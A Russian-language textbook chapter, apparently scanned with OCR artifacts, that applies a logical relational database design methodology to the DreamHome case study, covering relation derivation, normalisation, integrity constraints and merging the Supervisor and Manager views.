Строка длиной в один символ (значения М или F)М, F
Rooms
Целое значение в диапазоне от 1 до 155, 8, 12
В этой главе на примере показано применение методологии логического проектирования баз данных реляционного типа, обсуждавшейся в главе 8, “Методология логического проектирования реляционных баз данных”. Данная методология будет использована для разработки логического проекта базы данных приложения DreamHome, описанного в разделе 1.7. Применение методологии будет показано на примере конкретных представлений пользователей под именами Supervisor (Инспектор) и Manager (Руководитель). В главе 10, “Пример разработки концептуального проекта базы данных”, была описана разработка локальной концептуальной модели данных для представления пользователя Supervisor из приложения DreamHome. В данной главе мы преобразуем эту модель в логическую модель данных, после чего объединим ее с локальной логической моделью данных для представления Manager из приложения DreamHome, которая была разработана в главе 5, “Модель “сущность-связь””. В результате слияния двух локальных моделей будет получена глобальная логическая модель данных приложения DreamHome, отображающая оба представления пользователей.
В данной главе везде, где это допустимо по смыслу, мы будем использовать термины “сущность” и “связь” вместо развернутых терминов “тип сущности” и “тип связи”. Слово “тип” будет применяться только с целью исключения возможной неоднозначности.
.1. Применение методологии логического проектирования баз данных реляционного типа
Этап 2. Построение и проверка локальной логической модели данных для представления пользователя Supervisor
На этом этапе мы переработаем локальную концептуальную модель данных представления Supervisor с целью удаления из нее всех элементов, затрудняющих реализацию данной модели в среде реляционных СУБД. Кроме того, мы проверим созданную логическую модель данных, применив к ней правила нормализации и контроля возможности выполнения всех необходимых пользователю Supervisor транзакций в том виде, в котором они описаны в спецификациях. После завершения процесса преобразования структуры концептуальной модели с целью удовлетворения требований, предъявляемых к структуре данных со стороны реляционных СУБД, мы будем ссылаться на преобразованную модель как на логическую модель данных. Конечной целью выполнения данного этапа является создание корректной, полной и точной локальной логической модели данных для представления пользователя Supervisor из приложения DreamHome.
Этап 2.1. Преобразование локальной концептуальной модели данных в локальную логическую модель
На этом этапе мы займемся преобразованием концептуальной модели данных с целью удаления из нее всех структур, реализация которых в СУБД реляционного типа затруднительна. Желаемый результат может быть достигнут посредством выполнения таких действий, как:
Удаление связей типа M:N.
Удаление сложных связей.
Удаление рекурсивных связей.
Удаление связей, имеющих атрибуты.
Удаление множественных атрибутов.
Перепроверка связей типа 1:1.
Удаление избыточных связей.
Удаление связей типа M:N
Как следует из рис. 10.8, связь Client Views Property_for~Rent имеет кардинальность “многие ко многим” (M:N). Поэтому необходимо преобразовать связь Views в две связи типа 1:М (назовем их Attends (Выполняет) и Takes (Проводится для)), как показано на рис. 11.1, для чего потребуется ввести новую слабую сущность Viewing (Осмотр). Поскольку вновь созданная сущность является слабой, первичный ключ сущности Viewing будет полностью или частично определяться сущностями- владельцами, т.е. сущностями Client и Property_for_Rent.
Рис. 11.1. Удаление связи типа M:N Client Views Property_for_Rent
Удаление сложных связей
На этом этапе проводится удаление любых сложных (не бинарных) связей, присутствующих в концептуальной модели. Однако на ER-диаграмме, показанной на рис. 10.8, связи подобного типа отсутствуют. Все связи в концептуальной модели представления Supervisor являются бинарными. Другими словами, любая связь в этой концептуальной модели существует только между двумя сущностями.
Удаление рекурсивных связей
На рис. 10.8 показаны две рекурсивные связи — Supervisor Supervises Staff и Secretary Supports Staff. Эти связи являются рекурсивными, поскольку они представляют связи между отдельными экземплярами сущности одного и того же типа. И Supervisor, и Secretary являются такими же членами коллектива, как и другие работники, но выполняют особые обязанности, определяющие их отношения с другими членами производственного персонала. Однако сущности Supervisor и Secretary представляют только некоторых членов персонала и не могут представлять любого из работников.
Рекурсивные связи Supervises и Supports устраняются посредством введения новой слабой сущности под именем Allocated_Staff (Подчиненный), как показано на рис. 11.2. Эта сущность представляет тех сотрудников, которые находятся в подчинении у инспектора и пользуются услугами секретаря.
Удаление связей, имеющих атрибуты
Присутствие связей с атрибутами может указывать на наличие в модели еще не выделенных сущностей. В нашем случае примером связи с атрибутами является связь Client Views Property_for_Rent — она имеет атрибуты Date_View и Comments. Од-
нако к настоящему моменту связь Views была преобразована в процессе устранения из модели связей типа M:N на этапе 2.1.1. В результате была выделена новая сущность Viewing, с которой и должны быть связаны эти атрибуты.
Рис. 11.2. Устранение рекурсивных связей Supervises и Supports
Удаление множественных атрибутов
В локальной концептуальной модели данных представления Supervisor множественные атрибуты отсутствуют, поэтому мы просто переходим к следующему этапу.
Перепроверка связей типа 1:1
В некоторых случаях сущности, участвующие в связи 1:1, могут фактически представлять различные аспекты одного и того же объекта. По этой причине рекомендуется вновь проанализировать смысл всех связей типа 1:1, присутствующих в модели данных. В нашем примере имеется связь этого типа, Interview With Client, однако совершенно очевидно, что участвующие в нем сущности представляют разные объекты реального мира.
На этапе 2.1.3 была введена вторая связь типа 1:1, помещенная в модель с целью удаления рекурсивных связей. Это связь Staff Joins (Принадлежит) Allocated_Staff, показанная на рис. 11.2. В данном случае сущности Staff и Allocated^Staff, по сути, не являются представлением одного и того же объекта. Различие между ними состоит в том, что работники, представленные сущностью Allocated_Staff, имеют особые связи с сущностями Supervisor и Secretary, а также составляют только часть всего персонала. Исходя из этих соображений мы принимаем решение сохранить в модели сущности обоих типов и их связи, показанные на рис. 11.2.
Удаление избыточных связей
Показанная на рис. 10.8 связь Client Rents Property_for_Rent являет собой типичный пример избыточной связи. Фактически эта связь уже представлена в модели в виде пути, образованного связями Client Holds Lease_Agreement и Lease_Agreement AssociatedWith Property for_Rent. Поэтому связь Rents является избыточной и не вносит какой-либо дополнительной информации, которая не предоставлялась бы уже через путь, включающий сущность Lease_Agreement. Более того, клиент вообще не может взять некоторый объект в аренду, не заключив предвари-
тельно соглашения об аренде этого объекта. На основании всего сказанного выше можно сделать вывод: связь Client Rents Property_for_Rent следует просто удалить из модели данных.
Рис. 11.3. Локальная логическая модель данных представления Supervisor приложения DreamHome (версия 1)
Создание диаграмм „сущность-связь"
ER-диаграмма, представляющая локальную концептуальную модель данных для представления Supervisor приложения DreamHome, была показана на рис. 10.8. При выполнении этапа 2.1 эта модель была пересмотрена и модифицирована с целью устранения структур данных, реализация которых в среде реляционных СУБД затруднительна. Вид модифицированной модели данных, с учетом всех внесенных в нее изменений, показан на рис. 11.3. Полученную в результате внесения изменений мо-
дель данных правильнее будет называть локальной логической моделью данных представления Supervisor приложения DreamHome.
Очень важно также внести все необходимые изменения в прилагаемую к логической модели данных документацию. Эти изменения должны отражать результаты модификации модели, выполненной на данном этапе.
Этап 2.2. Определение набора отношений исходя из структуры локальной логической модели данных
На этом этапе нашей задачей будет создание отношений, представляющих сущности и связи, присутствующие в показанной на рис. 11.3 локальной логической модели данных представления Supervisor приложения DreamHome, Связи между сущностями моделируются с помощью механизма первичных и внешних ключей. Для иллюстрации методов выполнения этой процедуры мы рассмотрим способы реализации связей Client Attends Viewing и Property_for_Rent Takes Viewing, показанных на рис. 11.3. Для описания состава всех создаваемых отношений будет использоваться язык DLBL.
Для каждой присутствующей в модели данных сильной сущности следует создать отношение, которое будет включать все простые атрибуты этой сущности. Например, отношение Client может быть описано следующим образом:
Client (Client-No, FName, LName, Address, Tel-No, Pref-Type, Max_Rent)
Primary Key Client_No
Отношение Property_for_Rent описывается следующим образом:
Property_for-Rent (Property_No, Street, Area, City, Postcode, Type, Rooms, Rent)
Primary Key Property-No
Для каждой слабой сущности в модели данных следует создать отношение, которое будет включать все простые атрибуты этой сущности. Дополнительно в это отношение в качестве внешнего ключа следует поместить первичные ключи всех ее родительских сущностей. Сущность Viewing имеет две родительские сущности — Client и Property-for-Rent, — поэтому в ее отношение следует поместить копии первичных ключей обеих этих сущностей. Эти копии будут использоваться в качестве внешних ключей данного отношения. Первичный ключ слабой сущности полностью или частично является производным от ключа родительской сущности. Обратите внимание, что первичный ключ сущности Viewing, а именно Property_No, Client-No, Date-View, является частично производным от первичных ключей сущностей Client и Proper ty_for_Rent, которые представлены в созданном для сущности Viewing отношении как внешние ключи.
Определение сущности Viewing имеет следующий вид:
Viewing (Property_No, Client-No, Date-View, Comments)
Primary Key Property-No, Client-No, Date_View
Foreign Key Property-No references Property_for-Rent(Property-No)
Foreign Key Client-No references Client(Client-No)
Подобная процедура должна быть применена ко всем сущностям и связям, присутствующим в локальной логической модели данных, общий вид которой показан на рис. 11.3. Следует заметить, что приведенное выше описание отношения Ргор- erty-for-Rent является неполным, поскольку в нем не представлены все те связи, которые эта сущность имеет с другими сущностями в логической модели.
Документирование созданных отношений и атрибутов внешних ключей
Описание всего набора отношений, созданного на основе локальной модели данных представления Supervisor, приведено в приложении 11.1. Словарь данных также должен быть обновлен с целью отражения в нем всех ключевых атрибутов, вновь оп-
ределенных на этом этапе. Особое внимание следует уделить любым новым первичным или альтернативным ключам, созданным в результате экспортирования внешних ключей с целью представления различных связей.
Этап 2.3. Проверка модели с помощью правил нормализации
На этом этапе необходимо проверить созданный для представления Supervisor приложения DreamHome набор отношений на соответствие всем требованиям процедуры нормализации. Полный процесс нормализации отношений, детально описанный в главе 6, “Нормализация”, включает следующие действия:
приведение к первой нормальной форме (1НФ), позволяющее удалить из отношений повторяющиеся группы атрибутов;
приведение ко второй нормальной форме (2НФ), позволяющее устранить частичную зависимость атрибутов от первичного ключа;
приведение к третьей нормальной форме (ЗНФ), позволяющее устранить транзитивную зависимость атрибутов от первичного ключа;
приведение к нормальной форме Бойса-Кодда (НФБК), позволяющее удалить из функциональных зависимостей оставшиеся аномалии.
Чтобы убедиться, что каждое из отношений, описанных в приложении 11.1, находится, как минимум, в нормальной форме Бойса-Кодда (НФБК), мы проанализируем функциональные зависимости между этими отношениями. Если будет обнаружено отношение, которое не представлено в НФБК, это может означать, что либо созданная логическая модель структурно неверна, либо при определении на ее основе полного набора отношений была допущена ошибка. В любом случае потребуется вернуться к предыдущему этапу и внести необходимые изменения.
Для иллюстрации данного процесса мы проанализируем функциональные зависимости между отношениями Client, Lease_Agreement и Property_for_Rent. Описание этих отношений имеется в приложении 11.1. (Обратите внимание, что приведенное здесь описание данных отношений на языке DLBL не включает ссылок на атрибуты внешних ключей.)
Client (Client_No, FName, LName, Address, Tel_No, Pref_Type, Max_Rent)
Primary Key Client_No
Client_No —> FName, LName, Address, Tel_No, Pref-Type, MaX-Rent
Lease-Agreement (Lease_No, Client_No, Property_No, Rent, Payment-Method,
Deposit_Amount, Deposit-Paid, Rent_Start, Rent-Finish, Staff_No)
Primary Key Lease No
Alternate Key Property_No, Rent_Start
Lease_No -» Client-No, Property-No, Rent, Payment-Method, Deposit-Amount, Deposit-Paid, Rent_Start, Rent-Finish, Staff-No
Property-No, Rent_Start -> Lease_No, Client_No, Rent, Payment_Method, Deposit_Amount, Deposit_Paid, Rent-Finish, Staff_No
Property_No -> Rent
Property_for-Rent (Property_No, Street, Area, City, Postcode, Type, Rooms, Rent, Owner-No, Staff_No, Branch-No).
Primary Key Property_No
Property_No -> Street, Area, City, Postcode, Type, Rooms, Rent, Owner_No,
Staff-No, Branch-No
Обратите внимание, что в приведенном примере отношения Client и Ргор- erty_for_Rent не содержат повторяющихся групп атрибутов и не имеют атрибутов, частично или транзитивно зависящих от первичных ключей этих отношений. Более
того, каждая из сущностей имеет только один детерминант, который является первичным (потенциальным) ключом в соответствующем отношении. В результате можно сделать вывод, что отношения Client и Property_for_Rent находятся в НФБК;
Однако при анализе функциональных зависимостей в отношении Lease_Agreement выясняется, что имеет место транзитивная зависимость вида Property_No —> Rent для первичного ключа Lease_No этого отношения. Подобная зависимость является нарушением требований третьей нормальной формы (ЗНФ) и, следовательно, должна быть удалена из отношения Lease_Agreement. Однако нет необходимости создавать отдельное отношение для представления этой функциональной зависимости, поскольку она уже представлена в отношении Property_for_Rent. Кроме того, устранение этой аномалии не потребует изменения ER-диаграммы, показанной на рис. 11.3, — достаточно будет просто внести соответствующие изменения в документацию.
Удаление атрибута Rent из отношения Lease_Agreement позволяет привести его в соответствие требованиям третьей нормальной формы. Отметим, что детерминанты этого отношения, называемые Lease_No и (Property_No, Rent_Start), одновременно являются его потенциальными ключами. Следовательно, теперь отношение Lease_Agreement удовлетворяет требованиям НФБК.
Подобную процедуру следует выполнить для всех отношений, описанных в приложении 11.1. Только убедившись в том, что все отношения отвечают требованиям НФБК, можно переходить к следующему этапу.
Этап 2.4. Проверка модели в отношении транзакций пользователей
Назначение этого этапа состоит в проверке локальной логической модели данных представления Supervisor в отношении возможности выполнения всех транзакций, предусмотренных спецификациями (см. раздел 10.1.2). Для этой цели мы используем ER- диаграмму, показанную на рис. 11.3, а также прилагаемую к ней документацию. Исходя из этих данных, мы предпримем попытку выполнить каждую из транзакций вручную. Если это окажется возможным для всех транзакций, требуемых согласно спецификациям, то можно считать, что данная логическая модель успешно проверена. Если же выполнить вручную некоторую из транзакций окажется невозможным, значит, в логической модели данных присутствует ошибка, которую следует устранить. Вероятнее всего, в модели отсутствует необходимая сущность, связь или атрибут. В то же время, если некоторая часть логической модели окажется излишней для выполнения всего набора требуемых транзакций, даже с учетом возможности его расширения в будущем, есть все основания полагать, что эта часть модели является избыточной и подлежит удалению из окончательного варианта логической модели данных представления.
Мы рассмотрим два возможных подхода к проверке представленной на рис. 11.3 логической модели данных в отношении возможности выполнения всех транзакций, указанных в спецификациях. Оба подхода будут проиллюстрированы на примерах, взятых из перечня транзакций, приведенного в разделе 10.1.2. Первый подход заключается в том, чтобы проверить, вся ли необходимая для выполнения каждой транзакции информация (сущности, связи и атрибуты) может быть получена в данной модели. Проверка осуществляется с помощью описания процедуры выполнения транзакции. Этот подход будет проиллюстрирован на примере проверки возможности выполнения двух типичных операций, связанных с транзакцией, обозначенной в перечне буквой d.
Создание и корректировка записей, содержащих подробные сведения о сдаваемых в аренду объектах недвижимости и их владельцах в каждом из отделений компании
Для корректировки сведений об уже существующем объекте недвижимости, предназначенном для сдачи в аренду, с уже назначенным уникальным номером объекта, прежде всего, необходимо выполнить поиск номера этого
объекта среди значений соответствующего атрибута отношения Ргор- erty_for_Rent. Если заданный пользователем номер объекта найден не будет, фиксируется ошибка, поскольку выполнить корректировку оказывается невозможным. В противном случае необходимо убедиться, что каждый из элементов данных, значения которых необходимо откорректировать, присутствует в отношении Property_for_Rent в качестве атрибута.
Для удаления сведений о некотором владельце, заданном его личным номером, и о любых сдаваемых им в аренду объектах недвижимости, прежде всего следует выполнить поиск требуемого номера владельца среди значений соответствующего атрибута внешнего ключа в отношении Property_for_Rent. Если поиск будет успешным, все найденные в отношении Property_for_Rent строки следует удалить. Затем выполняется поиск заданного номера владельца среди значений соответствующего столбца отношения Owner и удаление из этого отношения всех найденных строк. Если указанный пользователем номер владельца найден не будет, фиксируется ошибка, поскольку выполнить требуемое удаление оказывается невозможным.
Второй подход к проверке возможности выполнения транзакций связан с графическим представлением метода выполнения каждой из транзакций на диаграмме логической модели данных (рис. 11.4).
На представленной на рис. 11.4 модели показаны пути выполнения всех перечисленных в спецификациях (см. раздел 10.1.2) транзакций — от а до г. Путь выполнения каждой транзакций показан в виде линии со стрелкой, указывающей направление выполнения транзакции и соединяющей сущности, а также связи, необходимые для ее выполнения. Каждая линия обозначена символами Т(х), где х — это номер транзакции в списке. Наличие конкретных атрибутов, необходимых для выполнения транзакции, также проверено по документации. Результат выполнения проверки признан удовлетворительным.
Этап 2.5. Создание диаграмм „сущность - связь"
Графическое представление способа выполнения транзакций непосредственно на ER- диаграмме (см. рис. 11.4) позволяет выявить области модели, которые являются критичными с точки зрения выполнения транзакций, а также те области диаграммы, которые не используются при их выполнении. Например, на рис. 11.4 не представлены пути выполнения транзакций g и h, описанных в разделе 10.1.2, поскольку они требуют наличия прямой связи между сущностями Client и Branch, необходимой для идентификации клиентов, связанных к каждым из отделений. Это позволяет сделать заключение, что критичная для выполнения транзакций связь между сущностями Client и Branch была пропущена при построении модели и обязательно должна быть внесена в окончательный вариант модели данных. Дополнительные обсуждения с пользователями показали, что каждый клиент регистрируется только в одном из отделений. В результате в модель была введена новая связь — Branch Registers (Регистрирует) Client, показанная на рис. 11.5, а в отношение Client был помещен новый внешний ключ — Branch_No.
Обратите внимание, что на ER-диаграмме, показанной на рис. 11.4, нет транзакций, использующих отношения Staff Setup Interview и Interview With Client. Следствием этого факта стало появление сомнений в необходимости хранения соответствующей информации в базе данных. После консультаций с пользователями было принято решение о целесообразности удаления данной части локальной логической модели данных пользователя Supervisor. Хотя практику проведения собеседований с потенциальными клиентами (если это возможно) в кампании никто не отменял, к сведениям о проведении подобных собеседований (Date_Interview и Comments) впоследствии обращаются редко (если вообще обращаются). После обсуждения пользователи подтвердили целесообразность удаления сущности Interview и всех установленных с ней связей из логической модели данных.
Рис. 11.4. Локальная логическая модель данных представления Supervisor приложения DreamHome с изображением путей выполнения всех требуемых транзакций
Не существует также транзакций, использующих присутствующую в модели данных связь Staff Organizes Lease_Agreement. Проведение консультаций с пользователями показало, что, хотя соглашение об аренде пользователем объекта готовится определенным работником, эта информация впоследствии не представляет интереса для компании. Поэтому связь Staff Organizes Lease_Agreement является избыточной и должна быть удалена из модели данных пользователя Supervisor.
Окончательный вариант ER-диаграммы логической модели данных для пользователя Supervisor, выполненный с учетом всех внесенных изменений, показан на рис. 11.5.
Рис. 11.5. Локальная логическая модель данных для представления Supervisor приложения DreamHome (окончательный вариант)
Этап 2.6. Определение требований поддержки целостности данных
На этом этапе мы займемся определением тех требований поддержки целостности данных, которые необходимо реализовать в локальной логической модели данных пользователя Supervisor. Их назначение состоит в поддержании постоянной внутренней согласованности информации, организованной в виде базы данных. На данном этапе наша задача состоит в том, чтобы установить, какие именно требования поддержки целостности данных необходимы, а вопросы методов их реализации будут решаться позднее. Мы рассмотрим пять типов требований поддержки целостности:
обязательные данные;
ограничения для доменов атрибутов;
целостность сущностей;
ссылочная целостность;
требования данного предприятия.
Обязательные данные
Необходимо установить, какие из атрибутов всегда должны содержать одно из допустимых значений. Другими словами, нас интересуют атрибуты, которые всегда должны иметь конкретные значения, отличные от NULL. Например, атрибуты Staff_No и Name (FName и LName) сущности Staff всегда должны содержать значения, отличные от пустого. Однако на атрибут Tel_No этой же сущности данное требование не распространяется, и этот атрибут вполне может иметь значение NULL, означающее что у работника либо нет телефона, либо номер его неизвестен, либо указанное значение оказалось некорректным.
Подробные сведения об атрибутах, входящих в локальную модель данных пользователя Supervisor, были приведены при выполнении этапа 1.3 и представлены в приложении 10.4 к главе 10.
Ограничения для доменов атрибутов
Домен атрибута устанавливает набор допустимых значений, которые могут присваиваться этому атрибуту. Например, набор допустимых значений для атрибута Cli- ent_No сущности Client представляет собой все возможные строки длиной от трех до пяти символов, имеющие значения от CR1 до CR999. Примеры доменов атрибутов логической модели данных пользователя Supervisor были приведены при выполнении этапа 1.4 и представлены в приложении 10.4 к главе 10.
Целостность сущностей.
Атрибут первичного ключа сущности не может иметь значение NULL. Например, каждый экземпляр сущности Branch обязательно должен иметь конкретное значение атрибута его первичного ключа Branch_No. Атрибуты, входящие в значение первичного ключа каждой сущности, были определены при выполнении этапов 1.5 и 2.2. Подробные сведения о ключах сущностей представлены в приложении 11.1.
Ссылочная целостность
Связи между сущностями моделируются посредством помещения в дочернее отношение копии первичного ключа родительского отношения. Понятие ссылочной целостности означает, что если внешний ключ дочернего отношения содержит некоторое значение, то это значение должно ссылаться на существующее и корректное значение ключа в родительском отношении. Например, если атрибут Branch_No (внешний ключ) отношения Staff (дочернего) содержит значение 'ВЗ', то это значение обязательно должно присутствовать в атрибуте Branch_No (первичном ключе) одной из строк отношения Branch (родительского). Атрибуты, входящие в состав первичных и внешних ключей различных сущностей, представлены в приложении 11.1.
Поддержка ссылочной целостности организуется посредством задания необходимых ограничений для значений первичных и внешних ключей. Эти ограничения определяют условия, которые должны соблюдаться при обновлении или удалении значений первичного ключа, а также при вставке или обновлении значений внешнего ключа. Отметим, что вставка нового значения первичного ключа или удаление значения внешнего ключа не вызывает каких-либо проблем со ссылочной целостностью.
Для каждого внешнего ключа отношения следует указать условия, которые должны выполняться при обновлении или удалении соответствующего значения первичного ключа. В этом случае можно применить одну из предлагаемых стратегий —
NO ACTION, CASCADE, SET NULL, SET DEFAULT или NO CHECK. Ниже приведен пример указания с помощью языка DBDL требуемых ограничений ссылочной целостности для внешних ключей отношения Property_for_Rent.
Property_for_Rent (Property_No, Street, Area, City, Postcode, Type,
Rooms, Rent, Owner_No, Staff^No, Branch^No)
Primary Key Property_No
Foreign Key Owner_No references Private_Owner (Owner_No) and
Business__Owner (Owner _No) on delete NO ACTION on update CASCADE
Foreign Key Staff_No references Staff(Staff_No)
on delete SET NULL on update CASCADE
Foreign Key Branch_No references Branch(Branch_No)
on delete SET DEFAULT on update CASCADE
Подобные определения необходимо подготовить для всех отношений, приведенных в приложении 11.1.
Требования данного предприятия
Эти требования, иначе называемые бизнес-правилами, определяются теми методами и ограничениями, которые приняты на данном предприятии в отношении выполнения различных операций. Например, в компании DreamHome установлено, что каждый инспектор должен руководить работой от 5 до 10 рядовых сотрудников. Все бизнес-правила, имеющие отношение к пользователю Supervisor, перечислены в приложении 11.2.
Документирование всех ограничений целостности данных
Все установленные требования поддержки целостности данных для локальной модели данных пользователя Supervisor должны быть детально отображены в документации.
Этап 2.7. Обсуждение разработанных локальных логических моделей данных с конечными пользователями
На этом этапе выполняется окончательная проверка локальной логической модели данных пользователя Supervisor, осуществляемая посредством обсуждения ее с пользователями. Очень важно, чтобы модель правильно отражала то представление о реальной деловой обстановке, которое имеет тип пользователей, названный Supervisor. Основным объектом обсуждения для разработчиков и пользователей является ER- диаграмма. Однако не менее важно, чтобы пользователи внимательно ознакомились с сопроводительной документацией. Если в модели или документации будет найдено какое-либо несоответствие, все необходимые этапы должны быть пройдены еще раз.
Окончательный вариант локальной логической модели данных для пользователя Supervisor приложения DreamHome включает ER-диаграмму, показанную на рис. 11.5, и документацию, содержащую исчерпывающее описание всех компонентов данной модели.
Этап 3. Создание и проверка глобальной логической модели данных
В этом разделе мы опишем процесс слияния локальной логической модели данных для представления пользователя Supervisor с локальной логической моделью данных для представления пользователя Manager (созданной в главе 5) с целью построения глобальной логической модели данных приложения. Глобальная логическая модель данных должна отражать особенности представлений обоих пользователей приложения DreamHome. На данном этапе мы продемонстрируем только один из возможных подходов к выполнению процедуры слияния нескольких локальных логических моделей данных в единую глобальную логическую модель.
Локальные логические модели данных, которые будут сливаться на данном этапе, показаны на рис. 11.5 (пользователь Supervisor) и рис. 5.1 (пользователь Manager).
Этап 3.1. Слияние локальных логических моделей данных в единую глобальную модель данных
На этом этапе мы сольем две локальные логические модели данных с целью создания глобальной логической модели данных, т.е. глобального представления для всей компании DreamHome. Процесс слияния моделей данных мы начнем с выявления в них подобных элементов, после чего выполним поиск и удаление конфликтных областей. Завершит процедуру включение в глобальную модель уникальных областей каждой из исходных локальных моделей. Некоторые типичные задачи, которые приходится решать при выполнении слияния, ниже будут проиллюстрированы на конкретных примерах.
Анализ имен сущностей и их первичных ключей
Сравним имена сущностей и определенные для них первичные ключи каждой из сливаемых локальных моделей (табл. 11.1).
Таблица 11.1. Сравнение имен сущностей и их первичных ключей в представлениях пользователей Supervisor и Manager
Тип сущности (представление Supervisor)
Первичный ключ
Тип сущности (представление Manager)
Первичный ключ
Branch
Branch-No
Branch
Branch_No
Staff
Staff_No
Staff
Staff-No
Supervisor
Staff_No
Supervisor
Staff-No
Secretary
Staff_No
Allocated_Staff
Staffjio
Allocated-Staff
Staff-No
Manager
Staff-No
Next-Of_Kin
Staff-No, NName
Property_for_Rent
Property-No
Property-for-Rent
Property-No
Private-Owner
Owner-No
Private-Owner
Owner-No
Business_Owner
Owner-No
Business_Owner
OwnerNo
Advert
Advert-No
Advert
Property-No, Date_Advert, Newspaper-Name
Newspaper
NewspaperName
Newspaper
Newspaper_Name
Client
Client_No
Renter
Renter-No
Viewing
Property_No , Client-No, Date-View
Viewing
Property-No, Renter_No, Date-View
Lease_Agreement
Lease-No
Inspection
Property-No, Staffjo, Date Inspect
Предварительное сравнение имен сущностей и их первичных ключей в каждом из представлений позволяет выявить их общие участки, т.е. те области, в которых они перекрываются. В таблице те сущности, которые внешне представляются идентичными, выделены полужирным шрифтом. Отметим тот факт, что, хотя оба представления включают сущности Advert и Viewing, в каждом из них эти сущности имеют различные первичные ключи. Способы устранения данного конфликта обсуждаются ниже (этап 3.1.3).
Анализ имен связей
Теперь сравним имена присутствующих в представлениях Supervisor и Manager связей. Имена связей, существующих в каждом из представлений, показаны в табл. 11.2. Каждая связь представлена в таблице только один раз и ассоциирована с ее родительской сущностью. Те связи, которые внешне выглядят идентичными, В обоих представлениях пользователей выделены полужирным шрифтом.
Таблица 11.2. Сравнение связей, присутствующих в представлениях Supervisor и Manager
Тип сущности (представление Supervisor)
Тип связи
Тип сущности (представление Supervisor)
Тип сущности (представление Manager)
Тип связи
Тип сущности (представление Manager)
Branch
Has
Staff
Branch
Has
Staff
Offers
Property_for
Offers
Property_for
_Rent
-Rent
Registers
Client
RefersTo
Renter
Staff
Manages
Property-for_
Staff
Oversees
Property_for-
Rent
Rent
CarryOut
Inspection
RelatedTo
Next-Of Kin
Joins
Allocated_St
Joins
Allocated-Staff
aff
Supervisor
Supervises
Allocated_Staff
Supervisor
Supervises
Allocated_Staff
Secretary
Support
Allocated Sta
s
ff
Manager
Manages
Branch
Property_for_
As soda
Lease-Agreement
Property_for-
LinkedTo
Rental-Agreement
Rent
tedWith Describ edin
Advert
Rent
Placedin
Advert
Undergoes
Inspection
Takes
Viewing
Takes
Viewing
Private_Owner
Owns
Property_for
Private_Owne
Owns
Property_for
_Rent
r
-Rent
BusinessjOwner
Owns
Property_for
BusinessJ)wner
Owns
Property_for
_Rent
-Rent
Newspaper
Lists
Advert
Newspaper
Displays
Advert
Client
Attends
Viewing
Holds
Lease-Agreement
Renter
Requests
Viewing
Holds
Rental-Agreement
Это предварительное сравнение имен связей в каждом из представлений пользователей также помогает уточнить участки, общие для обоих представлений. Однако не следует слишком уж полагаться на то, что сущности или связи с одними и теми же именами играют совершенно одинаковую роль в каждом из представлений. И тем не менее, сравнение имен сущностей и связей можно считать очень удобной исходной точкой поиска идентичных участков в сливаемых представлениях, если, конечно, не забывать, о возможных ошибках.
Следует всегда помнить, что в разных представлениях могут присутствовать сущности или связи с одними и теми же именами, но представляющие совершенно различные концепции (подобные объекты называют омонимами). Примером подобного явления может служить пара связей Staff Manages Property_for_Rent (представление Supervisor) и Manager Manages Branch (представление Manager). Совершенно очевидно, что связь Manages в каждом случае имеет абсолютно разный смысл.
Кроме того, следует всегда учитывать, что сущности и связи с различными именами фактически могут представлять одну и ту же концепцию реального мира (подобные объекты называют синонимами). Примером этого явления могут служить сущности Client (представление Supervisor) и Renter (представление Manager). Анализ состава атрибутов этих сущностей (и в особенности сравнение доменов их ключей) позволяет предположить, что эти сущности представляют один и тот же объект. Первичные ключи сущностей Client и Renter имеют различные имена (Client_Nb и Renter No соответственно). Однако домены этих первичных ключей идентичны и представляют собой набор строк длиной 3-5 символов со значениями от CR1 до CR999.
Таким образом, при слиянии локальных моделей необходимо проявлять максимальную осторожность и обязательно удостовериться в том, что сущности и связи с одними и теми же именами действительно представляют одну и ту же концепцию реального мира. Не менее важно убедиться и в том, что сущности и связи с разными именами представляют различные объекты. Выполнение проверки предусматривает сравнение атрибутов (прежде всего, первичных ключей), относящихся к каждой из сущностей, а также анализ связей, которые они имеют с сущностями других типов. Кроме того, следует иметь в виду, что сущности или связи одного представления в другом представлении могут присутствовать просто как атрибуты. Например, вполне возможна ситуация, когда в первом представлении сущность Branch имеет атрибут с именем Manager Name, который во втором представлении описан как отдельная сущность с именем "Manager.
Слияние общих сущностей из отдельных локальных моделей
На данном этапе выполняется проверка имен и содержимого каждой сущности в обоих представлениях. В частности, для идентификации эквивалентных сущностей с различными именами следует проанализировать их первичные ключи. Выполнение данного этапа включает следующие действия:
слияние сущностей с одинаковыми именами и одинаковыми первичными ключами;
слияние сущностей с одинаковыми именами, имеющих различные первичные ключи;
слияние сущностей с различными именами, имеющих одинаковые или различные первичные ключи.
Слияние сущностей с одинаковыми именами и одинаковыми первичными ключами. Сущности, имеющие в обоих представлениях один и тот же первичный ключ, как правило, представляют одну и ту же концепцию реального мира. Идентификация и объединение подобных пар представляет собой относительно несложную задачу. Эти сущности выделены в табл. 11.1 полужирным шрифтом; к ним относятся: Branch, Staff, Supervisor, Allocated_Staff, Property_for_Rent, Private_Owner, Busi- ness_Owner и Newspaper.
Объединенная сущность включает атрибуты обеих исходных сущностей, но без дублирования. Пример слияния сущностей Staff из обоих представлений показан в листинге 11.1. Большинство атрибутов в обеих сущностях Staff являются общими — за исключением атрибутов Salary, Date_Joined и NIN (Национальный страховой номер), которые присутствуют только в сущности Staff из представления Manager. Кроме того, атрибуты JobJTitle (представление Supervisor) и Position (представление Manager) имеют разные имена, но идентичны по назначению. Объединенная сущность Staff глобального представления содержит все общие атрибуты, а также те атрибуты, которые используются только в представлении Manager.
' Листинг 11 Л. Слияние сущностей Staff из представлений
Supervisor и Manager
(Представление Supervisor)
Staff (Staff_No, FName, LName, Address, Tel_No, Sex, DOB (дата рождения)
Job_Title, Typing_Speed, Branch_No)
Primary Key Staff_No
Foreign Key Branch_No references Branch(Branch_No)
(Представление Manager)
Staff (Staff_No, FName, LName, Address, Tel_No, Sex, DOB (дата рождения) Position, Salary, Date^Joined, NIN (национальный страховой номер) Typing_Speed, Branch_No)
Primary Key Staff_No
Alternate Key NIN
Foreign Key Branch_No references Branch(Branch_No)
(Глобальное представление)
Staff (Staff_No, FName, LName, Address, Tel_No, Sex, DOB (дата рождения) Position, Salary, Date_Joined, NIN (национальный страховой номер), Typing_Speed, Branch_No)
Primary Key St/aff_No
Alternate Key NIN
Foreign Key Branch_No references Branch(Branch_No)
